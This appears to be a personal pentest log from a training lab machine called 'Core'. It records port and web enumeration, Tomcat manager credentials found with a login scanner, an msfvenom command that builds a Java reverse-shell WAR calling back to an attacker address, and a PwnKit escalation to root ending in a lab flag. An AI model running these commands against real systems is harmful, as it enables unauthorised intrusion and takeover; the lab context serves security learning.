Core

🧪 Pentest Log: {{date:2025-09-02}}

🔍 Target Information

Machine Name: Core
IP Address: 10.11.1.160
Operating System: Linux

ip=10.11.1.160

📡 Enumeration

🔌 Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 22

Port 80

Web Content Enumeration

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip -r -o dirsearch.txt

wpscan --url http://$ip

Port 8080

Web Content Enumeration

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip -r -o dirsearch.txt

wpscan --url http://$ip

Tomcat 6.0.24

Found /manager/html entry, use auxiliary/scanner/http/tomcat_mgr_login, gain credential

tomcat:s3cret

💣 Exploitation

📌 Vulnerability Summary

Service / Port: 8080
Vulnerability Type: Arbitary File Upload

🚀 Exploit Execution

🔧 Exploit Method

Manual
Public Exploit
Custom Script

Tool / Script Used:

msfvenom -p java/shell_reverse_tcp LHOST=172.16.1.1 LPORT=80 -f war -o shell.war

🧬 Privilege Escalation

👤 Current Access

User: tomcat6
Groups: 120(tomcat6)
Shell Type: reverse shell

🔍 Enumeration

Kernel Check:

uname -a

found

Linux core 2.6.32-21-generic-pae #32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux

🔓 Privilege Escalation Exploit

📌 Exploit Summary

Technique Used: Kernel Exploit
Target Binary/Service: N/A
Reference / Source: https://github.com/ly4k/PwnKit

🔧 Exploit Steps

Smash to root

chmod +x PwnKit32

./PwnKit32

Key File

0gdm4wqo1yb7ar7us1as